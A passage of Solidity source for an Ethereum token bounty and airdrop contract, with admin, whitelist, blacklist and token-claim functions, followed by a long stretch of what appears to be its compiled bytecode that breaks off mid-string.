onlyAdmin{require(_userlist.length > 0);for (uint256 i = 0; i < _userlist.length; i++) {address baddr = _userlist[i];if(baddr != address(0)){if(staffs[baddr]){ staffs[baddr] = false;}}}}function reClaimBalance() public onlyAdmin{uint256 taBal = token.balanceOf(this);token.transfer(wallet, taBal);emit eReClaimToken(taBal, wallet, msg.sender);}function adminUpdateWallet(address _wallet) public onlyAdmin{require(_wallet != address(0));wallet = _wallet;emit eWalletChange(wallet, msg.sender);}function adminUpdateStartEndTime(uint _startTimes, uint _endTimes) public onlyAdmin{require(_startTimes > 0);require(_endTimes > 0);startTimes = _startTimes;endTimes = _endTimes;emit eUpdateStartEndTime(startTimes, endTimes, msg.sender);}function adminUpdMinSign(uint256 _min_eth, uint256 _minsignupeth) public onlyAdmin{if(paidversion){mineth = _min_eth;minsignupeth = _minsignupeth;}}function adminUpdatePayout(uint _payStyle, uint _payoutNow, uint256 _fixPayAmt, bool _allowsSignup) public onlyAdmin{payStyle = _payStyle;payoutNow = _payoutNow;fixPayAmt = _fixPayAmt;allowsSignup = _allowsSignup;emit eUpdatePayout(payStyle, payoutNow, fixPayAmt, allowsSignup, msg.sender);}function signupUserWhitelist(address[] _userlist, uint256[] _amount) public onlyStaffs{require(_userlist.length > 0);require(_amount.length > 0);for (uint256 i = 0; i < _userlist.length; i++) { address baddr = _userlist[i];uint256 bval = _amount[i];if(baddr != address(0) && userSignupCount <= maxSignup){if(!bounties[baddr].blacklisted && bounties[baddr].user_address != baddr){bounties[baddr] = User(baddr,now,bval,false,0,0,true);signups[baddr] = true;bountyaddress.push(baddr) -1;userSignupCount++;}}}}function removeUserWhitelist(address[] _userlist) public onlyStaffs{require(_userlist.length > 0);for (uint256 i = 0; i < _userlist.length; i++) {address baddr = _userlist[i];if(baddr != address(0) && bounties[baddr].user_address == baddr){bounties[baddr].status = false;signups[baddr] = false;userSignupCount--;}}}function updUserBlackList(address[] _addlist, address[] _removelist) public onlyStaffs{if(_addlist.length > 0){for (uint256 i = 0; i < _addlist.length; i++) {address baddr = _addlist[i];if(baddr != address(0) && !bounties[baddr].blacklisted){ bounties[baddr].blacklisted = true;blacklist[baddr] = true;}}}if(_removelist.length > 0){ removeUserFromBlackList(_removelist); }}function removeUserFromBlackList(address[] _userlist) internal{require(_userlist.length > 0);for (uint256 i = 0; i < _userlist.length; i++) {address baddr = _userlist[i];if(baddr != address(0) && bounties[baddr].blacklisted){bounties[baddr].blacklisted = false;blacklist[baddr] = false;}}}function updateMultipleUsersReward(address[] _userlist, uint256[] _amount) public onlyStaffs{require(_userlist.length > 0);require(_amount.length > 0);for (uint256 i = 0; i < _userlist.length; i++) {address baddr = _userlist[i];uint256 bval = _amount[i];if(baddr != address(0)){if(bounties[baddr].user_address == baddr){ bounties[baddr].reward_amount = bval;}else{ if(userSignupCount <= maxSignup){bounties[baddr] = User(baddr,now,bval,false,0,0,true);signups[baddr] = true;bountyaddress.push(baddr) -1;userSignupCount++;}}}}}function adminRetrieveContractConfig() view public onlyStaffs returns(uint, uint, uint256, uint, bool, bool){return(payStyle, payoutNow, fixPayAmt, maxSignup, allowsSignup, paidversion);}function adminRetrieveContractConfig2() view public onlyStaffs returns(uint256, uint256, address, uint, uint, uint){return(mineth, minsignupeth, wallet, startTimes, endTimes, userSignupCount);}function adminRetrieveContractConfig3() view public onlyStaffs returns(ERC20, uint256, uint256, uint, uint){uint256 taBal = token.balanceOf(this);return(token, taBal,userClaimAmt, now, block.number);}function chkAdmin(address _address) view public onlyAdmin returns(bool){return admins[_address];}function chkStaff(address _address) view public onlyAdmin returns(bool){return staffs[_address];}function getAllAdmin() view public onlyAdmin returns(address[]){return adminaddress;}function getAllStaff() view public onlyAdmin returns(address[]){return staffaddress;}function getBountyAddress() view public onlyStaffs returns(address[]){return bountyaddress;}function chkUserDetails(address _address) view public onlyStaffs returns(address,uint,uint256,bool,uint,uint256,bool){require(_address != address(0));return(bounties[_address].user_address, bounties[_address].signup_time, bounties[_address].reward_amount, bounties[_address].blacklisted, bounties[_address].paid_time, bounties[_address].paid_token, bounties[_address].status);}function () external payable ifNotStartExp ifNotPaused ifNotBlacklisted{require(!blacklist[msg.sender]);if(payoutNow == 0){require(allowsSignup);singleUserSignUp(msg.sender);}else if(payoutNow == 1){require(allowsSignup);}else if(payoutNow == 2){claimTokens(msg.sender);}else if(payoutNow == 3){claimImmediateTokens(msg.sender);}}function singleUserSignUp(address _address) internal ifNotStartExp ifNotPaused ifNotBlacklisted {if(userSignupCount <= maxSignup){if(!signups[_address] && bounties[_address].user_address != _address && msg.value >= minsignupeth){if(payoutNow != 1 || payoutNow != 2){ signups[_address] = true;uint256 temrew = 0;if(payStyle == 1){ temrew = fixPayAmt; } bounties[_address] = User(_address,now,temrew,false,0,0,true);signups[_address] = true;bountyaddress.push(_address) -1;userSignupCount++;}}}forwardWei();}function claimTokens(address _beneficiary) public payable ifNotStartExp ifNotPaused ifNotBlacklisted { require(msg.value >= mineth);require(_beneficiary != address(0));require(!blacklist[msg.sender]);require(!isProcess[_beneficiary]);require(signups[_beneficiary]);uint256 rewardAmount = getReward(_beneficiary);require(rewardAmount > 0);uint256 taBal = token.balanceOf(this);require(rewardAmount <= taBal);isProcess[_beneficiary] = true;token.transfer(_beneficiary, rewardAmount);bounties[_beneficiary].reward_amount = 0;bounties[_beneficiary].status = true;bounties[_beneficiary].paid_time = now;isProcess[_beneficiary] = false;userClaimAmt = userClaimAmt.add(rewardAmount);forwardWei();emit eTokenClaim(_beneficiary, rewardAmount);}function claimImmediateTokens(address _beneficiary) public payable ifNotStartExp ifNotPaused ifNotBlacklisted { require(msg.value >= mineth);require(_beneficiary != address(0));require(!blacklist[msg.sender]);require(userSignupCount <= maxSignup);require(fixPayAmt > 0);uint256 taBal = token.balanceOf(this);require(taBal > 0);require(fixPayAmt <= taBal);require(!isProcess[_beneficiary]);isProcess[_beneficiary] = true;signups[_beneficiary] = true;bounties[_beneficiary] = User(_beneficiary,now,0,false,now,fixPayAmt,true);bountyaddress.push(_beneficiary) -1;userSignupCount++;token.transfer(_beneficiary, fixPayAmt);userClaimAmt = userClaimAmt.add(fixPayAmt);forwardWei();emit eTokenClaim(_beneficiary, fixPayAmt);}function getReward(address _address) internal constant returns(uint256){uint256 rtnVal = 0;if(payStyle == 0){uint256 taBal = token.balanceOf(this);rtnVal = taBal.div(userSignupCount);}else if(payStyle == 1){rtnVal = fixPayAmt;}else if(payStyle == 2){rtnVal = bounties[_address].reward_amount;}return rtnVal;}function forwardWei() internal {if(!paidversion){if(msg.value > 0)owner.transfer(msg.value);}else{if(msg.value > 0)wallet.transfer(msg.value);}}}
|
0x606060405260043610610287576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168062383d0a146103c9578063032e0868146103f257806306b2be051461045c5780630f59eb95146104855780630f5ee138146104d057806311667335146104f957806311937ccd1461056a57806317a5a6ee146105965780631ab3d055146105e757806322902d6714610641578063314a05db1461069257806331a36424146106fb57806335f47052146107655780633e80cbc6146107c857806340c1a0b214610801578063416c0d3814610864578063429b62e5146108b8578063440574eb146109095780634c7c71fe14610949578063521eb2731461097257806355d0012d146109c75780635c975abb14610a615780636b32c59114610a8e5780636dd4c13c14610ab757806374163ab114610ae457806375deadfa14610b0d578063783f28e614610b3657806379db77a314610b625780637be4ed5514610bbc57806385448c5914610be5578063891aab6a14610c4f5780638da5cb5b14610ca95780639395442414610cfe57806393a422bb14610d565780639a9f160c14610df0578063acc2508b14610e53578063ad3c23e114610e7c578063af36e7a714610f27578063af53dc6e14610f81578063afb688a214610fae578063b4f4e28414610fd7578063b7ee0adc14611031578063bc97fd0614611082578063c721cfe21461111c578063cdfbea5814611131578063df8de3e7146111dc578063e48e0d691461120a578063eafd4eae146112ab578063f098b68f146112fc578063f457361a1461134d578063f77da6d51461137a578063f9f92be4146113a8578063fc0c546a146113f9578063fd5f72561461144e575b600a54421015801561029b5750600b544211155b15156102a657600080fd5b600460009054906101000a900460ff161515156102c257600080fd5b600c60009054906101000a900460ff161515156102de57600080fd5b601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561033757600080fd5b6000601254141561036b57600660009054906101000a900460ff16151561035d57600080fd5b610366336114c6565b6103c7565b6001601254141561039657600660009054906101000a900460ff16151561039157600080fd5b6103c6565b600260125414156103af576103aa336118d0565b6103c5565b600360125414156103c4576103c333611e6b565b5b5b5b5b005b34156103d457600080fd5b6103dc61249f565b6040518082815260200191505060405180910390f35b34156103fd57600080fd5b6104056124a5565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561044857808201518184015260208101905061042d565b505050509050019250505060405180910390f35b341561046757600080fd5b61046f612591565b6040518082815260200191505060405180910390f35b341561049057600080fd5b6104ce600480803590602001909190803515159060200190919080359060200190919080359060200190919080351515906020019091905050612597565b005b34156104db57600080fd5b6104e3612642565b6040518082815260200191505060405180910390f35b341561050457600080fd5b61050c612648565b604051808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020018381526020018281526020019550505050505060405180910390f35b341561057557600080fd5b610594600480803590602001909190803590602001909190505061280d565b005b34156105a157600080fd5b6105cd600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506128ef565b604051808215151515815260200191505060405180910390f35b34156105f257600080fd5b61063f60048080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190505061290f565b005b341561064c57600080fd5b610678600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612a96565b604051808215151515815260200191505060405180910390f35b341561069d57600080fd5b6106a5612ab6565b604051808a81526020018915151515815260200188815260200187815260200186815260200185815260200184815260200183815260200182151515158152602001995050505050505050505060405180910390f35b341561070657600080fd5b61070e612b71565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610751578082015181840152602081019050610736565b505050509050019250505060405180910390f35b341561077057600080fd5b6107866004808035906020019091905050612c5d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156107d357600080fd5b6107ff600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612c9c565b005b341561080c57600080fd5b6108226004808035906020019091905050612e10565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561086f57600080fd5b610877612e4f565b604051808781526020018681526020018581526020018481526020018315151515815260200182151515158152602001965050505050505060405180910390f35b34156108c357600080fd5b6108ef600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612f44565b604051808215151515815260200191505060405180910390f35b341561091457600080fd5b61094760048080359060200190919080359060200190919080359060200190919080351515906020019091905050612f64565b005b341561095457600080fd5b61095c613070565b6040518082815260200191505060405180910390f35b341561097d57600080fd5b610985613076565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156109d257600080fd5b610a5f6004808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190505061309c565b005b3415610a6c57600080fd5b610a7461350e565b604051808215151515815260200191505060405180910390f35b3415610a9957600080fd5b610aa1613521565b6040518082815260200191505060405180910390f35b3415610ac257600080fd5b610aca613527565b604051808215151515815260200191505060405180910390f35b3415610aef57600080fd5b610af761353a565b6040518082815260200191505060405180910390f35b3415610b1857600080fd5b610b20613540565b6040518082815260200191505060405180910390f35b3415610b4157600080fd5b610b606004808035906020019091908035906020019091905050613546565b005b3415610b6d57600080fd5b610bba6004808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919050506135c6565b005b3415610bc757600080fd5b610bcf61374d565b6040518082815260200191505060405180910390f35b3415610bf057600080fd5b610bf8613753565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610c3b578082015181840152602081019050610c20565b505050509050019250505060405180910390f35b3415610c5a57600080fd5b610ca7600480803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050613893565b005b3415610cb457600080fd5b610cbc613a81565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610d0957600080fd5b610d54600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050613aa6565b005b3415610d6157600080fd5b610dee60048080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050613c23565b005b3415610dfb57600080fd5b610e116004808035906020019091905050613e6f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610e5e57600080fd5b610e66613eae565b6040518082815260200191505060405180910390f35b3415610e8757600080fd5b610eb3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050613eb4565b604051808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001878152602001868152602001851515151581526020018481526020018381526020018215151515815260200197505050505050505060405180910390f35b3415610f3257600080fd5b610f7f6004808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919050506141cf565b005b3415610f8c57600080fd5b610f9461445e565b604051808215151515815260200191505060405180910390f35b3415610fb957600080fd5b610fc1614471565b6040518082815260200191505060405180910390f35b3415610fe257600080fd5b61102f600480803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050614477565b005b341561103c57600080fd5b611068600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506146c0565b604051808215151515815260200191505060405180910390f35b341561108d57600080fd5b61111a600480803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919050506146e0565b005b341561112757600080fd5b61112f614b42565b005b341561113c57600080fd5b611168600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050614e33565b604051808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001878152602001868152602001851515151581526020018481526020018381526020018215151515815260200197505050505050505060405180910390f35b611208600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506118d0565b005b341561121557600080fd5b61121d614eaf565b604051808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001848152602001838152602001821515151581526020019550505050505060405180910390f35b34156112b657600080fd5b6112e2600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061504f565b604051808215151515815260200191505060405180910390f35b341561130757600080fd5b611333600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506150fd565b604051808215151515815260200191505060405180910390f35b341561135857600080fd5b6113606151ab565b604051808215151515815260200191505060405180910390f35b6113a6600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611e6b565b005b34156113b357600080fd5b6113df600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506151be565b604051808215151515815260200191505060405180910390f35b341561140457600080fd5b61140c6151de565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561145957600080fd5b611461615204565b604051808781526020018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001848152602001838152602001828152602001965050505050505060405180910390f35b6000600a5442101580156114dc5750600b544211155b15156114e757600080fd5b600460009054906101000a900460ff1615151561150357600080fd5b600c60009054906101000a900460ff1615151561151f57600080fd5b600554600d541115156118c457601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561161457508173ffffffffffffffffffffffffffffffffffffffff16601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b801561162257506003543410155b156118c357600160125414158061163c5750600260125414155b156118c2576001601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060009050600160105414156116ae5760135490505b60e0604051908101604052808373ffffffffffffffffffffffffffffffffffffffff168152602001428152602001828152602001600015158152602001600081526020016000815260200160011515815250601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101556040820151816002015560608201518160030160006101000a81548160ff0219169083151502179055506080820151816004015560a0820151816005015560c08201518160060160006101000a81548160ff0219169083151502179055509050506001601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016007805480600101828161185f9190615732565b9160005260206000209001600085909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050600d600081548092919060010191905055505b5b5b6118cc6152ff565b5050565b600080600a5442101580156118e75750600b544211155b15156118f257600080fd5b600460009054906101000a900460ff1615151561190e57600080fd5b600c60009054906101000a900460ff1615151561192a57600080fd5b600254341015151561193b57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561197757600080fd5b601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156119d057600080fd5b601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611a2957600080fd5b601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611a8157600080fd5b611a8a836153f4565b9150600082111515611a9b57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515611b5757600080fd5b5af11515611b6457600080fd5b505050604051805190509050808211151515611b7f57600080fd5b6001601760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515611c9b57600080fd5b5af11515611ca857600080fd5b50505060405180519050506000601460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201819055506001601460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060060160006101000a81548160ff02191690831515021790555042601460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401819055506000601760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611e0a82600e5461556a90919063ffffffff16565b600e81905550611e186152ff565b8273ffffffffffffffffffffffffffffffffffffffff167f81b50da6cc452a1c0d655c638a8eb37673f391ca65ea0ee2aaa3da6d8add9c90836040518082815260200191505060405180910390a2505050565b6000600a544210158015611e815750600b544211155b1515611e8c57600080fd5b600460009054906101000a900460ff16151515611ea857600080fd5b600c60009054906101000a900460ff16151515611ec457600080fd5b6002543410151515611ed557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515611f1157600080fd5b601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611f6a57600080fd5b600554600d5411151515611f7d57600080fd5b6000601354111515611f8e57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561204a57600080fd5b5af1151561205757600080fd5b50505060405180519050905060008111151561207257600080fd5b806013541115151561208357600080fd5b601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156120dc57600080fd5b6001601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060e0604051908101604052808373ffffffffffffffffffffffffffffffffffffffff16815260200142815260200160008152602001600015158152602001428152602001601354815260200160011515815250601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101556040820151816002015560608201518160030160006101000a81548160ff0219169083151502179055506080820151816004015560a0820151816005015560c08201518160060160006101000a81548160ff0219169083151502179055509050506001600780548060010182816122e69190615732565b9160005260206000209001600085909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050600d60008154809291906001019190505550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb836013546040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561240e57600080fd5b5af1151561241b57600080fd5b505050604051805190505061243d601354600e5461556a90919063ffffffff16565b600e8190555061244b6152ff565b8173ffffffffffffffffffffffffffffffffffffffff167f81b50da6cc452a1c0d655c638a8eb37673f391ca65ea0ee2aaa3da6d8add9c906013546040518082815260200191505060405180910390a25050565b60055481565b6124ad61575e565b601860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561250557600080fd5b600980548060200260200160405190810160405280929190818152602001828054801561258757602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001906001019080831161253d575b5050505050905090565b60105481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156125f257600080fd5b8460058190555083600c60006101000a81548160ff021916908315150217905550826002819055508160038190555080601160006101000a81548160ff0219169083151502179055505050505050565b600d5481565b600080600080600080601860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806126f25750601960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15156126fd57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15156127b957600080fd5b5af115156127c657600080fd5b505050604051805190509050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681600e54424395509550955095509550509091929394565b601860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561286557600080fd5b60008211151561287457600080fd5b60008111151561288357600080fd5b81600a8190555080600b819055503373ffffffffffffffffffffffffffffffffffffffff167f03bbc88d76413a487a37ff9d36a3ff66f8e200b6c30a14c568840121f8002cd9600a54600b54604051808381526020018281526020019250505060405180910390a25050565b60156020528060005260406000206000915054906101000a900460ff1681565b600080601860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561296a57600080fd5b6000835111151561297a57600080fd5b600091505b8251821015612a9157828281518110151561299657fe5b906020019060200201519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515612a8457601860008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612a83576000601860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b818060010192505061297f565b505050565b60176020528060005260406000206000915054906101000a900460ff1681565b60008060008060008060008060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612b1f57600080fd5b600254601160009054906101000a900460ff16601054600a54600b54601254601354600554600660009054906101000a900460ff16985098509850985098509850985098509850909192939495969798565b612b7961575e565b601860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515612bd157600080fd5b6008805480602002602001604051908101604052809291908181526020018280548015612c5357602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311612c09575b5050505050905090565b600981815481101515612c6c57fe5b90600052602060002090016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515612cf457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515612d3057600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503373ffffffffffffffffffffffffffffffffffffffff167fbdd506655de86719f840b1892ffd357919e80884929afefbfc0cccf689600985600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a250565b600781815481101515612e1f57fe5b90600052602060002090016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600080600080601860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612ef95750601960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1515612f0457600080fd5b601054601254601354600554600660009054906101000a900460ff16601160009054906101000a900460ff16955095509550955095509550909192939495565b60186020528060005260406000206000915054906101000a900460ff1681565b601860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515612fbc57600080fd5b83601081905550826012819055508160138190555080600660006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff167fc2327ad4f936ed58b0bd2380e0db9bcda8719f6b89a13c4f7832ae0a2cd3143e601054601254601354600660009054906101000a900460ff16604051808581526020018481526020018381526020018215151515815260200194505050505060405180910390a250505050565b600a5481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000601860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806131425750601960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b151561314d57600080fd5b6000855111151561315d57600080fd5b6000845111151561316d57600080fd5b600092505b845183101561350757848381518110151561318957fe5b90602001906020020151915083838151811015156131a357fe5b906020019060200201519050600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156131f05750600554600d5411155b156134fa57601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160009054906101000a900460ff161580156132e057508173ffffffffffffffffffffffffffffffffffffffff16601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b156134f95760e0604051908101604052808373ffffffffffffffffffffffffffffffffffffffff168152602001428152602001828152602001600015158152602001600081526020016000815260200160011515815250601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff0219169083